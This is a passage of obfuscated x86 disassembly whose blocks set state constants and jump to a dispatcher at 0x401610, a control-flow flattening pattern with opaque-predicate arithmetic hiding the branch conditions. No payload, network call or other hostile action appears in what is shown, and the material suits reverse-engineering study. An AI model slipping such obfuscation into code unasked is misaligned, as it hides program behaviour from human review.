and esi, 0x53e254cc
or ecx, esi
not eax
mov esi, 0xf106d513
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9cc6e476
and ecx, 0x63391b89
or eax, ecx
mov ecx, eax
xor ecx, 0x80c04000
xor eax, 0x60011009
and eax, 0x7c07b47f
and ecx, 0x83f84b80
or ecx, eax
mov eax, ecx
xor eax, 0x7402241f
xor ecx, 0x2b00200
and ecx, 0xab59260
and eax, 0xf54a6d9f
or eax, ecx
xor eax, 0xf54a6d9f
sete ch
setne dh
cmp dword [0x45d978], 0xa
setge cl
setl ah
mov al, cl
mov dl, cl
and cl, ch
xor al, dh
or dl, dh
and dh, ah
xor ah, ch
or cl, dh
and al, dl
xor dl, 1
or dl, ah
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
mov ah, al
and cl, dl
xor dl, 1
xor ah, dl
and dl, al
and ah, al
or dl, cl
mov ecx, 0x28b234e1
mov al, ah
xor al, dl
test dl, dl
mov edx, 0x28b234e1
cmovne ecx, esi
test ah, ah
cmove ecx, edx
test al, 1
cmovne ecx, esi
mov eax, ecx
jmp 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x45f765e2
mov edx, eax
and edx, 0xba089a1c
and eax, 0x4a7301d4
or esi, edx
mov edx, ecx
and edx, 1
xor esi, 0x45f765e2
or edx, esi
mov esi, edx
not esi
and edx, 0x441a032
and esi, 0xfbbe5fcd
or edx, esi
mov esi, edx
xor esi, 0x410010
xor edx, 0xfbbe5fcd
mov edi, edx
or edx, ecx
and ecx, 0xb58cfe2b
and edi, 0xb58cfe2b
and esi, 0x4a7301d4
or esi, edi
or eax, ecx
not edx
mov edi, 0x31484310
xor eax, esi
mov esi, 0x3d28e896
or edx, eax
xor edx, 0xffffffff
sete dl
setne cl
cmp dword [0x45d978], 0xa
setge al
setl ah
and ah, cl
xor cl, al
mov ch, al
and cl, dl
or ch, dl
xor cl, 1
mov dh, cl
or cl, ch
xor dh, ch
mov ch, al
xor cl, 1
xor ch, dl
or cl, dh
and ch, al
and al, dl
mov dl, ch
or al, ah
xor ch, al
xor dl, 1
xor al, 1
or al, dl
xor al, 1
or al, ch
mov ch, cl
mov edx, eax
mov ah, al
xor ch, 1
xor dl, 1
and dl, al
xor dl, 1
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov eax, edx
and dl, ch
xor al, 1
or ch, al
and al, cl
or al, dl
mov cl, ch
mov edx, 0x31484310
xor cl, al
test cl, 1
cmovne edx, esi
test al, 1
mov eax, edx
cmovne eax, edi
test ch, 1
cmovne eax, edx
jmp 0x401610
movzx eax, word [ebp - 0xf2]
mov ecx, dword [ebp - 0x16c]
mov edx, 0x614f64b9
cmp ecx, eax
mov eax, 0x6e13c58b
cmovl eax, edx
jmp 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0x48a5037a
and edx, 0xb75afc85
or edx, esi
mov esi, eax
not esi
and eax, 0xb75afc85
or ecx, esi
and esi, 0x48a5037a
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0xf3d6bea1
not edx
mov esi, edx
and eax, ecx
and esi, 0xf3d6bea1
and ecx, 0x35135910
or eax, esi
mov esi, eax
not esi
and eax, 0xdf10d649
and esi, 0x20ef29b6
or eax, esi
mov esi, edx
and esi, 0xcaeca6ef
and edx, 1
or esi, ecx
mov ecx, eax
xor ecx, 0x862821
xor eax, 0xd3399716
xor esi, 0x35135911
and ecx, 0x80a7bd21
or edx, esi
mov esi, eax
and esi, 0x7f5842de
or ecx, esi
mov esi, edx
not esi
or eax, edx
and edx, 0x7f5842de
and esi, 0x80a7bd21
not eax
or esi, edx
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x10022002
and eax, 0x2601200
mov edx, ecx
or edx, 0x21804c18
and esi, 0x31826c1a
and ecx, 0xcc1d81e5
and edx, 0x31826c1a
or ecx, esi
mov esi, 0x21065797
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x8bdaa5c0
and ecx, 0x74255a3f
or eax, ecx
mov ecx, eax
xor ecx, 0x4056014
xor eax, 0x99b897c2
mov edx, eax
and edx, 0x62d20fab
and ecx, 0x9d2df054
or ecx, edx
xor ecx, 0x9d2df054
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x45d978], 0xa
setl ah
xor ah, al
mov dl, ah
mov cl, ah
xor dl, 1
and cl, dl
and al, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
xor cl, al
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x4ad7df3e
cmovne edx, esi
test al, al
mov eax, 0x4ad7df3e
cmovne eax, edx
test cl, 1
cmove eax, edx
jmp 0x401610
cmp byte [ebp - 0x8b], 0
mov eax, 0xbb941883
mov ecx, 0xf5d5432c
cmovne eax, ecx
jmp 0x401610
mov ecx, dword [0x45d97c]
mov ebx, 0x8c4e36f7
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x4c63320c
and ecx, 0xb39ccdf3
or eax, ecx
mov ecx, eax
xor ecx, 0x22208
xor eax, 0x2208c0a2
and eax, 0x6e69d0a6
and ecx, 0x91962f59
or ecx, eax
mov eax, ecx
xor eax, 0x6e69d0a6
mov esi, ecx
xor esi, 0x2201
xor ecx, 0x664da20f
mov edx, eax
or edx, 0xf7db8d56
and ecx, eax
and esi, 0x2032a1
and eax, 0xfffffffe
mov edi, edx
and edi, 0xfd47c00e
or esi, edi
mov edi, ecx
not edi
and ecx, 0x2b83ff1
or edx, edi
and edi, 0xfd47c00e
or ecx, edi
not edx
mov edi, 0x8c4e36f7
xor ecx, esi
mov esi, 0x470bde74
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x82472a8
and ecx, 0xf7db8d57
or edx, ecx
or eax, edx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x8d36e69e
andn eax, eax, eax
and edx, 0x72c91961
or ecx, edx
xor ecx, 0x8d36e69e
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x25b46136
and ecx, 0xda4b9ec9
or eax, ecx
mov ecx, eax
xor ecx, 0x1a00004
xor eax, 0xca4b8848
and eax, 0xee5fe97a
and ecx, 0x11a01685
or ecx, eax
mov eax, ecx
xor eax, 0xe010928
xor ecx, 0x1801481
and ecx, 0xe1def4d3
and eax, 0x1e210b2c
or eax, ecx
xor eax, 0x1e210b2c
sete al
setne cl
cmp dword [0x45d978], 0xa
setl dl
setge ah
or al, ah
or dl, cl
or ah, cl
xor dl, 1
xor al, 1
mov cl, ah
or al, dl
xor al, 1
or cl, al
xor al, ah
mov edx, ecx
xor dl, al
test dl, 1
cmovne ebx, esi
test al, al
mov eax, ebx
cmovne eax, edi
test cl, cl
cmovne eax, ebx
jmp 0x401610
cmp byte [ebp - 0x84], 0
mov eax, 0x251e6622
mov ecx, 0x6db29eeb
cmovne eax, ecx
jmp 0x401610
mov eax, dword [ebp - 0x1a8]
add eax, 2
mov dword [ebp - 0x1ac], eax
mov eax, 0xdcb31878
jmp 0x401610
mov eax, 0xeffc6b1e
jmp 0x401610
mov eax, dword [ebp - 0xa8]
mov eax, 0x5b61b4e7
jmp 0x401610
mov eax, 0x30871128
jmp 0x401610
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov dword [ebp - 0x1a8], eax
mov eax, 0xbe7e5341
jmp 0x401610
mov eax, 0x4ff5776
jmp 0x401610
mov eax, 0x4d60123a
jmp 0x401610
mov eax, dword [0x45d97c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
and eax, 1
mov esi, ecx
and esi, 0xfffffffe
and ecx, 0x5a8a11a1
or eax, esi
mov esi, eax
not esi
mov edi, eax
or eax, edx
and edx, 0xa575ee5e
and edi, 0xa575ee5e
and esi, 0x5a8a11a1
or ecx, edx
not eax
or esi, edi
mov edi, 0xed4811a9
xor ecx, esi
mov esi, 0xa178627
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2f6e583c
and ecx, 0xd091a7c3
or eax, ecx
cmp eax, 0x2f6e583c
setne cl
cmp dword [0x45d978], 0xa
setl al
setge dl
xor al, cl
or dl, cl
mov ecx, eax
not cl
and cl, dl
xor dl, 1
mov ah, dl
xor ah, al
and al, dl
or al, cl
and ah, dl
mov edx, 0xed4811a9
mov ecx, eax
xor cl, ah
test al, al
cmovne edx, esi
test ah, ah
cmove edx, edi
test cl, cl
cmovne edx, esi
mov eax, edx
jmp 0x401610
mov eax, 0x6cb139c6
jmp 0x401610
mov eax, 0x644292c5
jmp 0x401610
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x58]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, 0x30f19ba8
jmp 0x401610
mov eax, dword [ebp - 0x1dc]
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x6ff661e6
mov ebx, eax
and ebx, 0x4300420b
and eax, 0xba01f2fb
mov esi, ecx
and esi, 0x90099e19
mov edi, ecx
or edi, 0x208d0080
and ecx, 0x45fe0d04
or edx, esi
and edi, 0xa4df3ca0
or eax, ecx
mov esi, edx
xor edx, 0x90000
xor esi, 0x8200144
or ebx, edi
xor eax, 0xba01f2fb
or edx, 0x84523c20
and esi, 0x18208154
and edx, 0xa4df3ca0
or esi, edx
xor ebx, esi
mov esi, ebx
not esi
and ebx, 0xe191c20b
and esi, 0x1e6e3df4
or ebx, esi
xor ebx, 0x6c3bc20
or eax, ebx
cmp eax, 0xffffffff
mov eax, 0x60bfa989
mov ecx, 0xd0ee194a
cmove eax, ecx
jmp 0x401610
cmp eax, 0x8998f581
jne 0x401610
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.004225b0
mov eax, dword [ebp - 0x38]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret